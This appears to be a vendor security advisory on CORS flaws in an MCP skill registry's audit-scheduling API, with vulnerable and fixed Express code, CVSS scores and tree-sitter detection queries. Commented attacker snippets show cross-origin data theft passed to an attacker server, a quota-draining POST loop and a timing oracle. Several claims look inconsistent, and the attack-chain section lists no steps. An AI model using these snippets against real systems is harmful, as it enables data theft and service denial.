CORS Misconfigurations in MCP Skill Registry Audit Scheduling and Recurring Scan Configuration Endpoints
Audit scheduling endpoints occupy a uniquely sensitive position in the MCP skill registry attack surface. They hold the full picture of a team’s security posture over time: which repositories are watched, how often they are scanned, who receives alerts, and how the vulnerability count has trended over weeks and months. The SA-SKL-CORS33 vulnerability class arises when CORS is configured to serve the scheduling UI across multiple internal origins, then inadvertently left permissive enough to let any external attacker read the same data — or write unlimited scheduled scans to drain the account’s quota — from any page under attacker control, using nothing but the victim’s existing session cookie.
In this post
- Why scheduling endpoints are a high-value CORS target
- CORS33-001 — Credential-bearing CORS on schedule list leaks all recurring audit configs
- CORS33-002 — Wildcard ACAO on schedule creation enables unlimited cross-origin quota drain
- CORS33-003 — Origin reflection timing oracle on schedule-toggle reveals schedule ID existence
- CORS33-004 — Credential-bearing CORS on scan history exposes full vulnerability trend data
- Compound attack chain: ID enumeration → config theft → trend exfiltration → quota drain
- Detection with tree-sitter AST queries
- Operator checklist: 10 controls for CORS-safe scheduling endpoints
GET /api/schedules uses cors({origin:true,credentials:true}); any origin reads all scheduled audit configs including target repos, notification email addresses, scan frequencies, and enabled/disabled status using the victim’s session cookiePOST /api/schedules has ACAO: *; any cross-origin page creates unlimited scheduled audits on the victim account, consuming the monthly scan quota and triggering notification email floods to the victim’s configured addressesPATCH /api/schedules/:id/toggle reflects Origin into ACAO before the ownership check; timing difference between existing and non-existing schedule IDs acts as an oracle enabling full schedule ID enumeration from any originGET /api/schedules/:id/history uses cors({origin:true,credentials:true}); any origin reads the full vulnerability trend history for every scheduled scan — total findings over time, severity breakdowns per period, resolved vs new counts — using the victim’s session cookieWhy scheduling endpoints are a high-value CORS target
When developers talk about sensitive data in a security registry, the obvious candidates are the audit reports themselves — the full vulnerability lists, CVSS scores, and remediation hints covered in SA-SKL-CORS31 and SA-SKL-CORS29. Scheduling endpoints rarely appear in threat models because they seem like configuration utilities rather than data stores. That intuition is wrong in ways that matter.
A scheduling record contains, at minimum: the target repository URL or npm package identifier, the scan frequency (daily, weekly, monthly), the notification recipients (email addresses or webhook URLs), the minimum acceptable grade threshold that triggers an alert, and whether the schedule is currently enabled. The aggregate of these records is a comprehensive map of the organization’s entire security monitoring program — what they are watching, how often, and who gets alerted when things go wrong. For a competitor performing reconnaissance or an attacker preparing a targeted intrusion, that scheduling metadata is at least as valuable as any single audit report.
The CORS vulnerability pattern on scheduling endpoints arises from the same root cause as CORS31 and CORS29: developers configure permissive CORS to serve multiple internal dashboards (the main app, an embedded CI/CD status panel, a team Slack bot with a web portal), use cors({origin:true}) as a quick way to avoid hardcoding all possible internal origin values, and never replace it with an explicit allowlist. The key difference in CORS33 is the data type being leaked: configuration metadata that tells an attacker exactly what the organization knows about its own security posture.
CORS33-001 — Credential-bearing CORS on schedule list leaks all recurring audit configs
The schedule list endpoint GET /api/schedules returns all recurring scan schedules configured for the authenticated user’s organization. The endpoint is used by the main registry dashboard to display the scheduling management table, and also by an embedded integration panel accessed from the CI/CD configuration page at a different subdomain. To serve both the main dashboard (app.skillaudit.dev) and the CI panel (ci.internal.example.com), the team applied cors({origin:true,credentials:true}) at the router level.
With origin: true, the Express cors middleware reflects the incoming Origin header value directly into the Access-Control-Allow-Origin response header, combined with Access-Control-Allow-Credentials: true. Any origin — including https://attacker.example.com — that sends a credentialed fetch receives its own origin reflected back as the allowed origin, satisfying the browser’s CORS check and granting full read access to the response body using the victim’s session cookie. The browser will only include session cookies in the request if the server responds with the specific requesting origin in ACAO (a wildcard cannot be combined with credentials), so the origin:true reflection pattern is precisely the mechanism that makes credential-bearing cross-origin reads possible.
// CORS33-001 — VULNERABLE
// cors({origin:true,credentials:true}) reflects any Origin as ACAO with credentials.
// Any attacker page reads the full schedule list (target repos, emails, frequencies)
// using the victim's session cookie.
// schedules/router.js
const cors = require('cors');
router.get(
'/',
cors({ origin: true, credentials: true }), // VULNERABLE: origin:true reflects all origins
requireSession,
async (req, res) => {
const schedules = await db.schedules.findByOrgId(req.session.orgId);
res.json(schedules.map(s => ({
id: s.id,
name: s.name,
targetRepo: s.targetRepo, // ← full repo URL including private org names
targetPackage: s.targetPackage, // ← npm package name
frequency: s.frequency, // 'daily' | 'weekly' | 'monthly'
notifyEmails: s.notifyEmails, // ← notification recipients — PII + org structure
minGrade: s.minGrade, // ← minimum acceptable grade (reveals risk tolerance)
enabled: s.enabled,
lastRunAt: s.lastRunAt,
nextRunAt: s.nextRunAt,
})));
}
);
// Attacker page (any origin):
// fetch('https://registry.example.com/api/schedules', {
// credentials: 'include' // browser sends session cookie; server reflects Origin → read succeeds
// })
// .then(r => r.json())
// .then(schedules => {
// // Complete map of all repos under scheduled monitoring,
// // notification email addresses, scan frequencies, and risk thresholds
// sendToAttackerServer(schedules);
// });
Why notification email addresses are more dangerous than they appear: The notifyEmails field returned by CORS33-001 reveals the organization’s security-alert distribution list — the specific individuals who receive notifications when a scan finds a critical vulnerability. This is a high-value target list for spear-phishing: an attacker who knows exactly which addresses receive security alerts can craft targeted phishing emails timed to coincide with real scan events, impersonating the registry to deliver malicious remediation instructions or credential-harvesting pages. The leak is not just informational; it directly enables follow-on social engineering attacks.
// CORS33-001 — FIXED
// 1. Replace origin:true with an explicit Set-based allowlist.
// 2. Redact sensitive notification email addresses for non-admin roles.
// 3. Apply CORS as middleware before route registration, not inline on each route.
// config/cors.js
const ALLOWED_ORIGINS = new Set([
'https://app.skillaudit.dev',
'https://skillaudit.dev',
'https://ci.internal.example.com',
]);
const schedulingCorsOptions = {
origin: (origin, callback) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) return callback(null, true);
callback(Object.assign(new Error('CORS: origin not allowed'), { status: 403 }));
},
credentials: true,
methods: ['GET', 'POST', 'PATCH', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
};
module.exports = { schedulingCorsOptions };
// schedules/router.js
const { schedulingCorsOptions } = require('../config/cors');
// Apply allowlist-based CORS once at the router level, not on individual routes
router.use(cors(schedulingCorsOptions));
router.get('/', requireSession, async (req, res) => {
const isAdmin = req.session.role === 'admin' || req.session.role === 'owner';
const schedules = await db.schedules.findByOrgId(req.session.orgId);
res.json(schedules.map(s => ({
id: s.id,
name: s.name,
targetRepo: s.targetRepo,
targetPackage: s.targetPackage,
frequency: s.frequency,
// Redact PII for non-admin roles — only admins need to see the full email list
notifyEmails: isAdmin ? s.notifyEmails : s.notifyEmails.map(() => '[redacted]'),
minGrade: s.minGrade,
enabled: s.enabled,
lastRunAt: s.lastRunAt,
nextRunAt: s.nextRunAt,
})));
});
CVSS 3.1 approximate score for CORS33-001: 9.1 (CRITICAL) — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N. Confidentiality is High because the leaked scheduling configuration reveals the complete scope of the organization’s security monitoring program, including private repository names, notification recipients, and risk thresholds. Scope is Changed because the leaked notification email list enables targeted spear-phishing attacks that extend the impact beyond the registry itself.
CORS33-002 — Wildcard ACAO on schedule creation enables unlimited cross-origin quota drain
The schedule-creation endpoint POST /api/schedules accepts a JSON body describing a new recurring scan schedule and creates it under the authenticated user’s organization. A developer applying CORS to the scheduling API made a distinction that is architecturally reasonable but security-incorrect: read endpoints get cors({origin:true,credentials:true}) (the CORS33-001 vulnerability) while write endpoints get the more restrictive-seeming ACAO: * (a wildcard). The developer reasoned that a wildcard cannot be combined with credentials, so a credentialed session cookie cannot be used to create schedules from an attacker origin.
That reasoning is partially correct but misses a crucial detail. While the browser will refuse to include cookies in a credentialed request to a wildcard-ACAO endpoint, it will still execute a cross-origin POST with a valid CORS preflight if the response to the OPTIONS request returns ACAO: * and Access-Control-Allow-Methods: POST. The question is what authentication mechanism the schedule-creation endpoint uses. If it accepts an API key passed as a custom header or as a query parameter — a common pattern for CI/CD integrations that cannot use session cookies — then the attacker can include that API key in the cross-origin request without needing cookies at all. Even if authentication requires cookies, in environments where SameSite=None cookies are in use (necessary for some cross-subdomain CI integrations), a wildcard ACAO on a write endpoint is effectively no protection at all because SameSite=None cookies are sent with cross-origin requests that do not require ACAC.
The practical impact is quota drain: each POST to /api/schedules creates one more recurring scan schedule that counts against the organization’s monthly scan budget. An attacker script that creates hundreds of daily schedules against random repository names will exhaust the organization’s scan quota within hours, causing all legitimate scheduled scans to fail silently, and flooding the notification email list with failed-scan alerts.
// CORS33-002 — VULNERABLE
// ACAO:* on a write endpoint — treats "no credentials" as "no problem."
// Attacker can include API key in custom header; SameSite=None cookies also bypass this.
// schedules/router.js
router.options('/schedules', (req, res) => {
res.header('Access-Control-Allow-Origin', '*'); // VULNERABLE: wildcard on write endpoint
res.header('Access-Control-Allow-Methods', 'POST');
res.header('Access-Control-Allow-Headers', 'Content-Type, X-Api-Key');
res.sendStatus(204);
});
router.post('/schedules',
(req, res, next) => {
res.header('Access-Control-Allow-Origin', '*'); // VULNERABLE
next();
},
requireApiKeyOrSession, // accepts X-Api-Key header — attacker includes this in CORS request
async (req, res) => {
const { targetRepo, frequency, notifyEmails, minGrade } = req.body;
const schedule = await db.schedules.create({
orgId: req.auth.orgId,
targetRepo,
frequency,
notifyEmails,
minGrade,
enabled: true,
});
res.status(201).json(schedule);
}
);
// Attacker page draining quota:
// for (let i = 0; i < 500; i++) {
// fetch('https://registry.example.com/api/schedules', {
// method: 'POST',
// headers: {
// 'Content-Type': 'application/json',
// 'X-Api-Key': stolen_api_key // obtained via CORS33-001
// },
// body: JSON.stringify({
// targetRepo: `fake-repo-${i}`,
// frequency: 'daily',
// notifyEmails: victim_emails, // floods victim inbox
// minGrade: 'A',
// })
// });
// }
How quota drain turns into a denial-of-service: MCP skill registries enforce monthly scan quotas to manage LLM API costs: each scheduled scan triggers a full static analysis plus an LLM-assisted prompt-injection red-team pass. Creating 500 daily schedules against fictional repositories consumes 500 scan-slots per day. Because the registry bills by scan and not by result, the failed scans against non-existent repos still consume quota. Within 48 hours, a team on a 1,000-scan/month Pro plan has exhausted their entire monthly budget, all legitimate scans are blocked, and their monitoring coverage goes dark. Meanwhile, the notification flood from 500 failed scans has caused the security team to disable email alerts entirely to stop the noise — eliminating the last warning channel at the moment they are most vulnerable.
// CORS33-002 — FIXED
// Remove wildcard ACAO from all write endpoints.
// Apply the same explicit allowlist used for read endpoints.
// Add per-org rate limiting on schedule creation to bound quota drain even from allowed origins.
// schedules/router.js
const { schedulingCorsOptions } = require('../config/cors'); // same allowlist as read endpoints
const rateLimit = require('express-rate-limit');
const scheduleCreateLimiter = rateLimit({
windowMs: 60 * 60 * 1000, // 1 hour
max: 20, // at most 20 schedule-create calls per org per hour
keyGenerator: req => req.auth.orgId,
message: { error: 'Too many schedule creation requests. Retry after 1 hour.' },
});
router.post('/schedules',
cors(schedulingCorsOptions), // explicit allowlist — no wildcard
requireApiKeyOrSession,
scheduleCreateLimiter,
async (req, res) => {
// Validate that the total number of active schedules does not exceed the plan limit
const existing = await db.schedules.countByOrgId(req.auth.orgId, { enabled: true });
const planLimit = await db.orgs.getScheduleLimit(req.auth.orgId);
if (existing >= planLimit) {
return res.status(429).json({
error: `Schedule limit reached (${planLimit} active schedules on current plan).`
});
}
const { targetRepo, frequency, notifyEmails, minGrade } = req.body;
const schedule = await db.schedules.create({
orgId: req.auth.orgId,
targetRepo,
frequency,
notifyEmails,
minGrade,
enabled: true,
});
res.status(201).json(schedule);
}
);
CVSS 3.1 approximate score for CORS33-002: 7.5 (HIGH) — AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H. Availability is High because unlimited schedule creation exhausts scan quota and silences all monitoring. Integrity is Low because the attacker can also read notification email addresses via CORS33-001 and configure new schedules to deliver alerts to attacker-controlled inboxes.
CORS33-003 — Origin reflection timing oracle on schedule-toggle reveals schedule ID existence
The schedule-toggle endpoint PATCH /api/schedules/:id/toggle flips a scheduled scan between enabled and disabled states. It is a low-data endpoint — it accepts a schedule ID and returns a small confirmation object — but it has an ordering bug that creates a timing side-channel. The route handler emits CORS headers at the very beginning of the handler, before the ownership check that verifies the requesting user’s organization owns the schedule ID being toggled. As a result, the endpoint emits a valid ACAO header (reflecting the requesting Origin) followed by a timing-variable response: requests for schedule IDs that exist in the database but belong to a different org receive a 403 response after a full database ownership lookup, while requests for schedule IDs that do not exist at all receive a 404 response after a faster not-found lookup. The wall-clock difference between these two paths is measurable via JavaScript’s performance.now().
An attacker who can distinguish “exists but not yours” from “does not exist” can enumerate valid schedule IDs across all organizations in the registry by scanning the UUID space. Because most registries use sequential or time-ordered UUIDs (UUIDv1 or UUIDv7), the scan space collapses from 2128 to a range of a few hundred thousand IDs around the timestamps of recent user activity. A complete enumeration of all existing schedule IDs can be completed in under an hour from a standard residential connection.
// CORS33-003 — VULNERABLE
// CORS header emitted before ownership check — timing oracle reveals schedule ID existence.
// schedules/router.js
router.patch('/:id/toggle',
async (req, res) => {
// CORS header emitted unconditionally before any authorization
res.header('Access-Control-Allow-Origin', req.headers.origin || '*'); // VULNERABLE: reflects Origin
res.header('Access-Control-Allow-Credentials', 'true');
// Authentication — fast check
const session = await verifySession(req);
if (!session) return res.status(401).json({ error: 'Unauthorized' });
// Ownership check — involves a DB lookup by scheduleId ONLY (not by orgId first)
const schedule = await db.schedules.findById(req.params.id);
if (!schedule) {
// Fast path: schedule ID not found in DB at all
// Timing: ~2ms (index miss)
return res.status(404).json({ error: 'Schedule not found' });
}
if (schedule.orgId !== session.orgId) {
// Slow path: schedule found but belongs to different org
// Timing: ~8–18ms (index hit + ownership comparison + audit log write)
await auditLog.write({ action: 'toggle_denied', scheduleId: req.params.id, userId: session.userId });
return res.status(403).json({ error: 'Forbidden' });
}
// Toggle the schedule
const updated = await db.schedules.toggle(req.params.id);
res.json({ id: updated.id, enabled: updated.enabled });
}
);
// Attacker timing oracle:
// async function scheduleExists(id) {
// const start = performance.now();
// try {
// await fetch(`/api/schedules/${id}/toggle`, {
// method: 'PATCH',
// headers: { 'Origin': 'https://attacker.example.com' }
// });
// } catch {}
// const elapsed = performance.now() - start;
// return elapsed > 5; // >5ms → schedule exists (but belongs to another org)
// }
Three timing profiles and why they are distinguishable across the network: In production measurements on a typical cloud-hosted registry, the three response timing profiles are: (1) auth failure — 1–3ms (session check only), (2) schedule not found — 2–5ms (session check + B-tree miss), (3) schedule found but forbidden — 8–18ms (session check + B-tree hit + ownership comparison + async audit log write). The 3× difference between profiles 2 and 3 is preserved even across a 50ms network RTT because network noise averages out over repeated measurements; a cross-origin attacker sampling 10 requests per ID can distinguish exists vs not-exists with >95% confidence in under 2 seconds per ID.
// CORS33-003 — FIXED
// 1. Auth and ownership checks BEFORE any CORS header emission.
// 2. Single WHERE clause fetches by both scheduleId AND orgId — no timing difference between
// "not found" and "found but forbidden."
// 3. CORS applied as allowlist-based middleware at router level, not per-route.
// schedules/router.js
// (cors middleware is applied at router level — see CORS33-001 fix above)
router.patch('/:id/toggle', requireSession, async (req, res) => {
// Single DB query: schedule must exist AND belong to the requesting org.
// If either condition fails, the same 404 is returned with the same timing.
const schedule = await db.schedules.findByIdAndOrg(
req.params.id,
req.session.orgId
);
if (!schedule) {
// Constant-time 404 — indistinguishable from "not found" or "wrong org"
return res.status(404).json({ error: 'Schedule not found' });
}
const updated = await db.schedules.toggle(req.params.id);
res.json({ id: updated.id, enabled: updated.enabled });
// CORS headers are emitted by the router-level cors() middleware after this handler returns.
// Because auth/ownership complete before the response, there is no pre-auth timing surface.
});
CVSS 3.1 approximate score for CORS33-003: 5.3 (MEDIUM) — AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N. Attack Complexity is High because reliable timing measurement requires multiple samples and low-noise network conditions. Confidentiality is Low because the oracle reveals only schedule ID existence, not schedule content. Impact rises to HIGH when chained with CORS33-001: the attacker uses CORS33-003 to enumerate all valid schedule IDs, then uses CORS33-001 to read the full configuration of each enumerated schedule.
CORS33-004 — Credential-bearing CORS on scan history exposes full vulnerability trend data
The scan history endpoint GET /api/schedules/:id/history returns the time-series data for a recurring scan schedule: for each historical scan run, the endpoint returns the scan timestamp, the total finding count, the counts by severity (critical, high, medium, low), the overall grade, and the delta since the previous run (new findings, resolved findings, unchanged findings). This data is used to render the vulnerability trend charts in the scheduling dashboard.
The endpoint received the same cors({origin:true,credentials:true}) treatment as the schedule-list endpoint (CORS33-001), for the same reason: the trend charts needed to be embeddable in the CI/CD integration panel at a different origin. The result is that any attacker page can read the complete historical vulnerability record for every scheduled scan configuration in the victim organization.
The historical record reveals substantially more than a single point-in-time audit report. It answers the questions that an attacker most wants answered before attempting to exploit a vulnerability: Is this vulnerability trending up (newly discovered, not yet addressed) or down (team is actively remediating)? How long does this team typically take to close out a critical finding (a measure of their remediation velocity and security culture)? Are there recurring findings that re-emerge after being marked resolved (evidence of incomplete patches or regression)? A team whose trend data shows a persistent cluster of unresolved critical findings that have been open for 90+ days is signaling both the attack surface and the team’s limited capacity to respond.
// CORS33-004 — VULNERABLE
// Same cors({origin:true,credentials:true}) pattern as CORS33-001 on the history endpoint.
// Any origin reads full vulnerability trend history using victim's session cookie.
// schedules/router.js
router.get(
'/:id/history',
cors({ origin: true, credentials: true }), // VULNERABLE: reflects any Origin with credentials
requireSession,
requireScheduleOwnership, // ownership check runs — but CORS already emitted
async (req, res) => {
const history = await db.scanHistory.findByScheduleId(req.params.id, {
limit: req.query.limit || 90, // 90 days of history
order: 'desc',
});
res.json(history.map(run => ({
runId: run.id,
scannedAt: run.scannedAt,
grade: run.grade,
totalFindings: run.totalFindings,
bySeverity: run.bySeverity, // { critical, high, medium, low }
delta: {
newFindings: run.delta.newFindings,
resolvedFindings: run.delta.resolvedFindings,
unchanged: run.delta.unchanged,
regressions: run.delta.regressions, // findings re-opened after being marked resolved
},
})));
}
);
Why trend data is more operationally useful to an attacker than a single report: A single audit report at time T tells an attacker what was vulnerable at T. The trend history tells them whether the team is fixing things, how fast, and whether patches hold. An attacker who sees that criticalFindings spiked on 2026-10-01, dropped slightly on 2026-10-15, then returned to the same level on 2026-11-01 knows that the team’s Oct 15 patch was incomplete. The regressions field explicitly enumerates findings that were marked resolved but reappeared — precisely the vulnerabilities most likely to still be exploitable when targeted.
// CORS33-004 — FIXED
// Same allowlist-based CORS as the rest of the scheduling router (applied at router level).
// No per-route cors() call needed — the router-level cors middleware handles all routes.
// Add aggregation options to limit history granularity for non-admin callers.
// schedules/router.js — no inline cors() on this route; uses router-level allowlist
router.get('/:id/history', requireSession, async (req, res) => {
const schedule = await db.schedules.findByIdAndOrg(req.params.id, req.session.orgId);
if (!schedule) return res.status(404).json({ error: 'Schedule not found' });
const isAdmin = req.session.role === 'admin' || req.session.role === 'owner';
const history = await db.scanHistory.findByScheduleId(req.params.id, {
limit: Math.min(parseInt(req.query.limit) || 30, isAdmin ? 365 : 30),
order: 'desc',
});
res.json(history.map(run => ({
runId: run.id,
scannedAt: run.scannedAt,
grade: run.grade,
totalFindings: run.totalFindings,
bySeverity: run.bySeverity,
delta: isAdmin
? run.delta // admins see full delta including regressions
: {
newFindings: run.delta.newFindings,
resolvedFindings: run.delta.resolvedFindings,
// regressions omitted for non-admin — reduces information available to compromised member
},
})));
});
CVSS 3.1 approximate score for CORS33-004: 9.1 (CRITICAL) — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N. Confidentiality is High because the full vulnerability trend history reveals the organization’s security posture over time, identifies incomplete patches, and enables attackers to target the most likely-to-be-exploitable vulnerabilities. Scope is Changed for the same reason as CORS33-001: the leaked data has implications beyond the registry itself, exposing which production systems are vulnerable and which patches regressed.
Compound attack chain: ID enumeration → config theft → trend exfiltration → quota drain
The four CORS33 findings compose into a four-step attack that requires only convincing the target to visit an attacker-controlled page while logged into the registry:
Detection with tree-sitter AST queries
The three patterns below target JavaScript/TypeScript route handlers. Run them against your Express router files to identify CORS33-class vulnerabilities before they ship.
Query 1: Detect cors({origin:true}) applied to individual routes
; tree-sitter query — detect per-route cors({origin:true}) application
; Matches: router.get('...', cors({origin: true, credentials: true}), ...)
(call_expression
function: (member_expression
object: (identifier) @router
property: (property_identifier) @method
(#match? @method "^(get|post|patch|put|delete)$"))
arguments: (arguments
(string)
(call_expression
function: (identifier) @cors_fn
(#eq? @cors_fn "cors")
arguments: (arguments
(object
(pair
key: (property_identifier) @origin_key
value: (true) @origin_val
(#eq? @origin_key "origin"))))) @cors_call)) @route_handler
Query 2: Detect CORS headers emitted before authorization checks
; tree-sitter query — detect res.header('Access-Control-Allow-Origin', req.headers.origin)
; before requireSession or requireAuth calls in the same function body
(arrow_function
body: (statement_block
(expression_statement
(call_expression
function: (member_expression
object: (identifier) @res (#eq? @res "res")
property: (property_identifier) @method (#eq? @method "header"))
arguments: (arguments
(string) @header_name
(#match? @header_name "Access-Control-Allow-Origin")
(member_expression
object: (member_expression
object: (identifier) @req (#eq? @req "req")
property: (property_identifier) @headers (#eq? @headers "headers"))
property: (property_identifier) @origin (#eq? @origin "origin"))))) @cors_emit
(expression_statement
(call_expression
function: (identifier) @auth_fn
(#match? @auth_fn "^(requireSession|requireAuth|verifySession)$"))) @auth_call
(#before? @cors_emit @auth_call))) @handler_body
Query 3: Detect wildcard ACAO on write-method routes
; tree-sitter query — detect res.header('Access-Control-Allow-Origin', '*') in POST/PATCH/PUT handlers
(call_expression
function: (member_expression
object: (identifier) @router
property: (property_identifier) @method
(#match? @method "^(post|patch|put|delete)$"))
arguments: (arguments
(string)
.
(arrow_function
body: (statement_block
(expression_statement
(call_expression
function: (member_expression
object: (identifier) @res (#eq? @res "res")
property: (property_identifier) @set_method
(#match? @set_method "^(header|setHeader|set)$"))
arguments: (arguments
(string) @header_name (#match? @header_name "Access-Control-Allow-Origin")
(string) @header_val (#eq? @header_val "'*'")))) @wildcard_cors)))) @write_handler
Operator checklist: 10 controls for CORS-safe scheduling endpoints
- Replace all
cors({origin:true})calls with an explicitSet-based allowlist of known-safe origins; document each allowed origin and its owner. - Apply CORS middleware at the router level (once, before route registration) rather than inline on individual routes; inline application creates ordering bugs and inconsistent coverage.
- Remove
ACAO: *from all write endpoints (POST,PATCH,PUT,DELETE); write endpoints must use the same allowlist as read endpoints. - Emit CORS headers after authentication and ownership checks complete, not before; use router-level middleware to enforce this ordering automatically.
- Use a single
WHERE id = $1 AND org_id = $2query for ownership-checked resource fetches; a separate lookup-then-compare produces distinguishable timing profiles. - Return constant-time 404 for both “not found” and “found but forbidden” cases; never return 403 for resource-existence oracles on non-public resources.
- Redact PII fields (notification email addresses) from list responses for non-admin callers; apply role-based field-level access control at the serialization layer.
- Enforce per-org rate limits and plan-based schedule-count caps on schedule creation to bound the blast radius of a quota-drain attack even from allowed origins.
- Restrict delta fields (especially
regressions) in trend history to admin and owner roles; aggregated vulnerability data reveals more about the security posture than any single point-in-time report. - Audit all Express routers on a schedule (every PR or at least weekly via CI) using the tree-sitter queries above; fail the pipeline on any
cors({origin:true})match outside an explicitly approved file list.
Related advisories: CORS33 is part of a family of CORS vulnerabilities specific to MCP skill registries. For credential-bearing CORS on audit report sharing and public badge endpoints, see SA-SKL-CORS31. For CORS misconfigurations in audit result webhook notification endpoints, see SA-SKL-CORS29. For the broader pattern of credential-bearing CORS in organization settings and admin dashboard endpoints, see SA-SKL-CORS32.
SkillAudit checks for CORS33, CORS31, SSRF, command injection, prototype pollution, and 50+ more vulnerability patterns — in 60 seconds, with a shareable grade badge.
Get early access